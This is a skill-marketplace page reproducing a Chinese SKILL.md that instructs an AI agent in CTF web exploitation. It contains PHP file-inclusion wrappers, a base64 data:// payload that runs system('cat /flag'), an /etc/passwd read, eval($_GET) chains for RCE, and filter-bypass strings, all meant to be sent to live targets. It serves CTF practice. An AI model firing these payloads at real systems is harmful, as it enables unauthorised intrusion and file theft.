Ctf Web logo

Ctf Web

OrganizationPopular
Netw0rkNoob
ctf-web

CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置

Overview

PublisherNetw0rkNoob
RepositoryVulnClaw
Skill namectf-web
Stars
3.4K
Forks
454
Bundled files
8
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 8 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by Netw0rkNoob on GitHub. Read the source before you install it.

Installation

Install the Ctf Web AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/Netw0rkNoob/VulnClaw.git /tmp/VulnClaw
mkdir -p .claude/skills
cp -r /tmp/VulnClaw/vulnclaw/skills/specialized/ctf-web .claude/skills/ctf-web
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Ctf Web in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Ctf Web on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Ctf Web is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CTF Web 攻击知识库

针对 CTF Web 题目的实战知识库,提供具体绕过值、payload 模板、代码审计 checklist,而非渗透测试方法论。

web-security-advanced 的区别

  • web-security-advanced → 渗透测试方法论(怎么系统性测试一个 Web 应用)
  • ctf-web → CTF 实战知识库(PHP 弱比较用什么值、空格怎么绕过、eval 输出怎么回显)

核心原则

  1. 精确值优于方法论 — 提供可直接使用的绕过值和 payload,而非"可以尝试"的建议
  2. 工具验证 — 所有 payload 必须用 fetchpython_execute 工具实际发送验证,不猜测结果
  3. 路径选择 — 多条利用路径时,优先选过滤最少、最简单的
  4. 失败记录 — 某个 payload 失败后立即记录,不重复尝试

First-Pass 工作流(CTF Web 题标准流程)

  1. 访问目标 URL,查看页面源码、HTTP 头、Cookie
  2. 如源码含 highlight_file → 用 python_execute + strip_tags 提取纯源码(fetch 输出可能误读)
  3. 检查 robots.txt、.git/、.svn/、备份文件(index.php.bak、www.zip 等)
  4. 目录扫描(常见:/flag、/admin、/login、/upload、/api)
  5. 如有源码 → 进入代码审计模式(见 php-code-audit-checklist.md
  6. 如无源码 → 主动探测注入点、上传点、文件包含

场景路由

场景参考文档核心内容
⭐ PHP 伪协议读文件(遇到文件包含/参数传文件名时优先尝试)见下方「PHP 伪协议速查」php://filter 直接读源码/flag
源码提取source-code-extraction.mdstrip_tags 提取、php://filter、.phps、备份文件、完整性校验
PHP 弱比较/类型绕过php-bypass-cheatsheet.md0e 开头 MD5 值大全、数组绕过、extract() 覆写
⭐ MD5 弱比较碰撞(md5(a)==md5(b) 弱比较)php-bypass-cheatsheet.md⚠️ 0e 后必须纯数字!直接用 QNKCDZO+240610708 等已验证值
⭐ preg_replace/str_replace 双写绕过见下方「双写绕过速查」NSSNSSCTFCTF → 替换后 = NSSCTF
命令注入空格绕过command-injection-bypass.md${IFS}/$IFS$9/</%09/%0a 全表
eval/RCE 技巧eval-and-rce-techniques.mdsystem/exec/passthru 区别、highlight_file 输出顺序、无回显外带
SSTI 注入链ssti-injection-chains.mdJinja2/Twig/ERB/Mako 等注入链速查
反序列化利用链deserialization-playbook.mdPHP/Java/Python 反序列化、SoapClient CRLF
文件上传 → RCEweb-security-advancedweb-playbook-08-file-vulnerabilities.md.htaccess 绕过、日志投毒、多语言 Webshell
CTF 快速参考web-ctf-quick-reference.mdflag 位置、常见链形状、响应头 hint
PHP 代码审计php-code-audit-checklist.md输入入口→过滤→危险函数→输出分析

⭐ PHP 伪协议速查(文件包含/参数传文件名时优先尝试)

触发条件:当题目出现以下任一特征时,先试 php://filter 再想其他方法

触发特征示例
参数接受文件名/路径?file=xxx / ?page=xxx / ?num=xxx / ?path=xxx
include / require / include_once源码中有这些函数
页面展示源码highlight_file() / show_source()
题目要求"读文件"或"找 flag"明确要读取服务器文件

伪协议 Payload 速查

# 1. 读 PHP 源码(base64 编码,避免 PHP 执行)
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.base64-encode/resource=index.php

# 2. 读 PHP 源码(rot13 编码)
?file=php://filter/read=string.rot13/resource=flag.php

# 3. 直接读文件(如 .txt/.log 等非 PHP 文件)
?file=php://filter/resource=/etc/passwd

# 4. 代码执行
?file=php://input  (POST body 中放 PHP 代码)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

⚠️ 关键提醒

  1. 不要只想着"绕过",先想能不能"直接读" — 很多题目的参数接受文件名,可以直接用伪协议读 flag.php,根本不需要绕过任何过滤
  2. convert.base64-encode 是万能读取器 — PHP 文件被 include 会执行,但 base64 编码后不会执行,可以拿到源码
  3. 参数名不一定叫 file — 可能是 pagenumpathtemplate 等,只要参数值被当作文件路径/名处理就可能有效
  4. 拿到 base64 后用 crypto_decode 工具解码 — 不要自己脑补解码结果

常见 flag 位置速查

⚠️ RCE 得手后,必须按以下优先级测试 flag 位置,不要停留在当前目录的 flag.php:

优先级 1(最常见): cat /flag
优先级 2:           cat /flag.txt
优先级 3:           ls /  → 找到根目录的 flag 文件名
优先级 4:           cat /var/www/html/flag.php
优先级 5:           cat /home/ctf/flag
优先级 6:           cat /root/flag
其他位置:           /environment, /proc/self/environ, env 命令

注意ls 默认列当前目录(/var/www/html/),根目录的 /flag 需要 ls / 才能看到。

常见 CTF Web 题型速判

题目特征可能考点推荐参考
参数接受文件名/路径先试 php://filter 读 flag见上方「PHP 伪协议速查」
页面只有登录框SQL 注入 / 弱口令 / 条件竞争php-bypass-cheatsheet.md
页面有代码展示代码审计php-code-audit-checklist.md
eval/system 字样RCE + 空格/关键字绕过eval-and-rce-techniques.md + command-injection-bypass.md
eval + 长度限制RCE + $_GET 链式传参绕长度见下方「RCE + 长度限制绕过」
文件上传功能后缀绕过 / MIME 绕过web-security-advancedweb-playbook-08-file-vulnerabilities.md
页面模板渲染SSTIssti-injection-chains.md
序列化/反序列化PHP/Java 反序列化deserialization-playbook.md
有 WAF/过滤提示正则绕过 / 编码绕过php-bypass-cheatsheet.md + command-injection-bypass.md

RCE + 长度限制绕过(首推策略)

eval()strlen() 长度限制时(如 ≤ 18 字符),首推 $_GET 链式传参

标准解法

?get=eval($_GET['A']);&A=system('cat /flag');

原理

  • eval($_GET['A']) = 16 字符,通过长度限制
  • 真正的命令在第二个 GET 参数 A 中,没有长度限制
  • PHP 会先执行 eval(),将 $_GET['A'] 的值作为 PHP 代码执行

变体

长度限制payload字符数
≤ 18eval($_GET['A']);16
≤ 18eval($_GET[0]);14
≤ 16eval($_GET[A]);13(无引号,PHP 自动转字符串)
≤ 12$_GET[0]();10(A 参数传函数名如 system,另一个参数传命令)

注意事项

  • 不要花时间在缩短 payload 上(如用 ?> 退出 PHP 模式、用反引号等),链式传参是通用解法
  • 双 GET 参数 URL 格式:?get=eval($_GET['A']);&A=system('cat /flag');
  • python_execute 工具构造请求,而非 fetch 工具(fetch 可能不支持多参数)

⭐ preg_replace / str_replace 双写绕过速查

触发条件:源码含 preg_replace('/X/', '', $str)str_replace('X', '', $str),且替换后需 $str === "X"

核心原理

在关键词中间嵌入完整关键词,替换删除内层后,外层拼合出原词。

通用构造公式

输入 = 关键词前半 + 关键词 + 关键词后半

常见过滤词速查表

过滤关键词双写输入替换过程结果
NSSCTFNSSNSSCTFCTF删中间NSSCTF → NSS+CTFNSSCTF
flagflflagag删中间flag → fl+agflag
catcacatt删中间cat → ca+tcat
systemsyssystemtem删中间system → sys+temsystem
hackhahackck删中间hack → ha+ckhack
cmdcmcmdd删中间cmd → cm+dcmd
execexexecec删中间exec → ex+ecexec

⚠️ 关键注意事项

  1. 大小写绕过不适用 — 替换后返回 NssCTF,不等于 "NSSCTF",严格比较失败
  2. 识别信号 — 看到 preg_replace('/X/', '', $str) + $str === "X" → 立即双写
  3. str_replace 同理str_replace 也是一次替换,双写同样有效
  4. 多次替换 — 如果代码多次调用 preg_replace,可能需要三写/四写,但 CTF 中通常只需双写

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Ctf Web AI skill do?

CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置

Why use Ctf Web on TypingMind?

Because you install it once and use it with any model. Ctf Web is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Ctf Web in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/Netw0rkNoob/VulnClaw/tree/main/vulnclaw/skills/specialized/ctf-web. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Ctf Web?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Ctf Web?

As many as you like. As long as a model supports skills, you can use Ctf Web with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Ctf Web AI skill free?

Yes. It is published on GitHub by Netw0rkNoob under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇